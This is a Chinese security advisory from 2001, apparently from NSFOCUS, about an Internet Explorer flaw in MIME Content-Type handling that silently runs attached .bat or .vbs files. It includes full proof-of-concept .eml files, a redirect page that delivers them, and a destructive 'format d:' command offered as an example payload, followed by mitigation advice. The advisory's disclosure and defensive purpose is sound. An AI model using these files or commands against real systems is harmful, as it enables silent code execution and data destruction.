首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第20期->最新漏洞
期刊号: 类型: 关键词:
微软IE异常处理MIME头漏洞

日期:2001-04-09

受影响的系统:  
    Microsoft Internet Explorer 5.5
       - Microsoft Windows 98
       - Microsoft Windows 95
       - Microsoft Windows NT 4.0
       - Microsoft Windows 2000
    Microsoft Internet Explorer 5.01
       + Microsoft Windows 98
       + Microsoft Windows 95
       + Microsoft Windows NT 4.0
       + Microsoft Windows 2000
    Microsoft Internet Explorer 5.0
       + Microsoft Windows 98

不受影响系统:  
    Microsoft Internet Explorer 5.0.1SP2
       + Microsoft Windows 98
       + Microsoft Windows 95
       + Microsoft Windows NT 4.0
       + Microsoft Windows 2000


描述:
--------------------------------------------------------------------------------


根据最新BugTraq报告,微软的IE浏览器被再次发现存在重大安全缺陷。简单来说,
IE在处理MIME头中"Content-Type:"处指定的某些类型时,存在问题,攻击者可以利
用这类缺陷在IE客户端执行任意命令。

报告出来的问题有两个。第一个问题参看如下例子,把下列内容存为"test.eml"。

<------------------cut here--------------------->

From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
        type="multipart/alternative";
        boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--1
Content-Type: multipart/alternative;
        boundary="2"


--2
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
HELLO MY FRIEND!!!<BR>
</BODY>
</HTML>

--2--

--1
Content-Type: audio/x-wav;
        name="hello.bat"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>

echo OFF
dir *.*

--1

<------------------cut here--------------------->

注意最后一个"Content-Type: audio/x-wav;"。

如果在资源管理器中双击打开这个文件,由于很多情况下"eml"扩展名和微软的
Outlook/Outlook Express关联,将调用它们解释"test.eml"。由于这封邮件是HTML
格式的,Outlook/Outlook Express最终调用IE来解释它。IE根据邮件内容中MIME设
置,解析出附件。一般情况下,即使有附件也不会自动下载。如果做了某些设置使得
某些类型的附件会自动下载,也将提示有附件需要下载,用户选择直接打开还是保存。

但是IE在解释上述邮件的时候,由于未能正确处理"Content-Type: audio/x-wav;",
导致附件"hello.bat"自动下载,而且更为严重的是下载结束后自动打开"hello.bat",
整个过程中并不提示用户。上述例子中就是最终执行了"dir *.*"。如果从WEB页面上
访问这个eml文件,比如http://<target>/test.eml,同样自动下载并无提示执行
"hello.bat"。

注意,上述问题和eml扩展名是否和Outlook/Outlook Express关联无关。假设eml扩
展名和NotePad相关联,在资源管理器中双击"test.eml"将调出记事本,无法有效激
发漏洞,此时可以用IE指定以WEB方式打开"test.eml",同样存在该问题。彻底删除
eml扩展名的所有关联对解决漏洞并无帮助。问题最终发生在IE以HTML格式解释eml文
件的时候。

值得提醒大家的是,如果选择采用WEB方式使用资源管理器,而所浏览的目录里存在
攻击性eml文件的话,攻击仍然成立,进入该目录的时候,即使没有选择打开eml文件,
IE同样立即解释eml文件,攻击开始。建议在问题真正解决之前采用传统方式使用资
源管理器。

目前测试结果表明,IE在解释扩展名为eml、nws的文件时,都存在上述问题,把
"test.eml"更名为"test.nws",前述现象一致。尚未发现IE在解释其他扩展名的文件
时有何缺陷,如果演示用eml文件的扩展名被修改成非eml、非nws,即使强行指定IE
打开该文件,也不会触发漏洞。

正常情况下无法发送上述邮件或者新闻,可以自己编程发送或者利用某些现成工具发
送。也可以将这样的eml、nws文件放置在WEB主机上,利用各种URL转向技术,使远程
用户的IE浏览器最终访问攻击性eml、nws文件,从而达到攻击目的,比如这样一个
index.html文件:

<------------------cut here--------------------->

<HTML>
<meta http-equiv="refresh" content="0;url=http://<target>/attack.eml">
</HTML>

<------------------cut here--------------------->

本漏洞的最初报告人在http://www.kriptopolis.com/cua/eml.html上提供了如下三
个演示eml:

http://www.terra.es/personal/cuartango/cmd.eml
http://www.terra.es/personal/cuartango/vbs.eml
http://www.terra.es/personal/cuartango/exe.eml?

分别演示了直接执行BAT文件、执行VB SCRIPT、执行EXE文件的三种情况。

第一个问题的危害是明显的,攻击者潜在可以造成任意破坏。下述命令
"format d: /q /u /autotest"将在不提示用户的情况下直接快速格式化掉D盘。可以
简单更改format、deletetree、fdisk、debug、move等外部命令,修改command.com
或者cmd.exe支持的危险内部命令名,比如del、rmdir、rd、erase。还可以修改BAT
文件的关联,使得BAT文件的缺省动作是用NotePad打开,而非执行(如果熟悉注册表,
直接修改即可,如果不熟悉,可以利用其他工具软件修改,比如"魔法设置")。如果
是NT、2K的用户,应该仔细设置NTFS文件系统保护,减少超级用户登录,以部分阻止
恶性破坏。但是这些措施并不能真正有效防止攻击,第二、第三种演示攻击仍将有效。

尤其是第三种演示,作者采用BASE64编码将一个可执行文件直接附带进来,不需要利
用本地文件系统的已有文件。有些用户的本地设置拒绝执行非WIN32程序,可以适度
减少破坏。理论上攻击者可以采用BASE64编码将任意WIN32程序附带进来,比如一个
木马程序,所以这种设置同样没有从本质上解决问题。

可以使用非IE的工具(Netscape、netants、wget等等)下载如上演示eml文件。

微软提供了针对第一个问题的解决方案,参看如下链接了解更多细节和讨论:

http://www.microsoft.com/technet/security/bulletin/MS01-020.asp

由于某种原因,这个补丁并未从根本上解决问题所在,临时推荐做如下操作:

1. 选择IE属性/选项
2. 进入安全设置页
3. 调整"中级安全级别"到"自定义安全级别"
4. 禁止"文件下载"

做了如上建议操作之后,IE浏览器中右键菜单"目标另存为"将失效,但不影响蚂蚁等
工具的下载操作。此时访问攻击性eml、nws文件,将提示"当前安全设置禁止文件下
载"。这种解决方案虽然带来使用中不必要的麻烦,但暂时杜绝了破坏。缺省情况下,
"中级安全级别"中允许"文件下载"。建议在本问题彻底根除之前,对于
"本地Intranet区域"、"可信任区域"使用"高级安全级别",防止以WEB方式使用资源
管理器时触发漏洞攻击。

第二个问题参看如下例子,把下列内容存为"fake.eml"。

<------------------cut here--------------------->

From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--1
Content-Type: multipart/alternative;
boundary="2"


--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:readme.txt height=3D0 width=3D0></iframe>
Will I show you a txt file ? <BR>
</BODY>
</HTML>

--2--

--1
Content-Type: audio/x-wav;
name="hello.bat"
Content-Transfer-Encoding: quoted-printable
Content-ID: <readme.txt>

echo OFF
dir C:\
echo YOUR SYSTEM HAS A VULNERABILITY
pause


--1

<------------------cut here--------------------->

与第一个问题相比,主要区别在于最后的"Content-ID: <readme.txt>"。即使IE在解
释"fake.eml"的时候开始提示用户,也将提示是否打开/保存"readme.txt",而不是
真正的"hello.bat",如果用户选择打开,"hello.bat"被执行。微软提供的补丁未能
解决第二个问题。我们所能做的建议是,永远不直接从IE浏览器中选择打开文件,并
且设置资源管理器成"始终显示扩展名"。有些扩展名的文件属性里,缺省设置是"下
载后确认打开",安全起见,一律取消这个设置。

本漏洞的最初报告人在http://www.kriptopolis.com/cua/eml2.html上提供了如下演
示eml:

http://www.terra.es/personal/cuartango/readme.eml

根据BugTraq MailList上的讨论,不限于"Content-Type: audio/x-wav;"这种类型。
到底有多少足以引发该漏洞的类型,尚未得到确切报告,至少在讨论中提到
"Content-Type: application/x-shockwave-flash;"这种类型也可以引发该漏洞:

<------------------cut here--------------------->

Content-Type: application/x-shockwave-flash;
        name="hello.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID: <donthurtme.pdf>
msgbox("Hello")

<------------------cut here--------------------->

如果用户安装了媒体播放器7.0,并且将".wav"扩展名关联到媒体播放器7.0,则前述
使用了"Content-Type: audio/x-wav;"这种类型的演示eml文件将失效。如果在安装
媒体播放器7.0过程中没有关联".wav"扩展名,演示仍然有效。注意,一旦媒体播放
器7.0关联过".wav"扩展名,即便后来取消这种关联,前述使用
"Content-Type: audio/x-wav;"这种类型的演示eml文件将失效。

IE浏览器和Outlook/Outlook Express存在很多其他已知安全漏洞,参看相关链接:

http://security.nsfocus.com/showQuery.asp?bugID=694
http://security.nsfocus.com/showQuery.asp?bugID=695
http://security.nsfocus.com/showQuery.asp?bugID=939

http://www.kriptopolis.com/cua/20010404.html
http://www.guninski.com/javaea.html
http://www.guninski.com/javaea1.html
http://www.guninski.com/javaea2.html
http://www.guninski.com/javacodebase1.html

不建议使用微软的IE浏览器访问WEB页面。即使使用IE,也应该最大限度限制ActiveX、
Java、Java Script、VB Script等特性的使用。即使上述特性全部被禁止,这次的漏
洞仍然有效,务必注意到这点。

关于MIME的知识,参看如下链接:

http://class.gzrail.net/read.php?classid=92

<* 来源:Juan Carlos Garcia Cuartango (cuartango@terra.es) *>



测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



    参看漏洞描述
    http://www.kriptopolis.com/cua/eml.html
    http://www.kriptopolis.com/cua/eml2.html



--------------------------------------------------------------------------------
建议:

    微软本来在如下链接
    http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp
    提供了针对第一个问题的补丁,但是由于第二个问题的引入,某些平台版本的补
    丁停止下载。微软尚未推出彻底解决问题的最新补丁。

    不同版本操作系统平台、不同的本地安全设置以及不同的应用软件安装将导致不
    同的演示效果。不能因为暂时没有触发漏洞而侥幸认为自己不存在该漏洞,该漏
    洞的危害性非常巨大。

    NsFocus强烈建议在微软最新补丁推出之前尽量避免、减少使用IE浏览器和
    Outlook/Outlook Express访问WEB页面、收发电子邮件、访问新闻组。

    针对IE浏览器和资源管理器,建议禁止"文件下载"、禁止以WEB方式使用资源管
    理器、最大限度禁止活动内容特性、设置资源管理器成"始终显示扩展名"、永远
    不直接从IE浏览器中选择打开文件、取消"下载后确认打开"这种扩展名属性设置。
    其他建议参看漏洞描述。



版权所有,未经许可,不得转载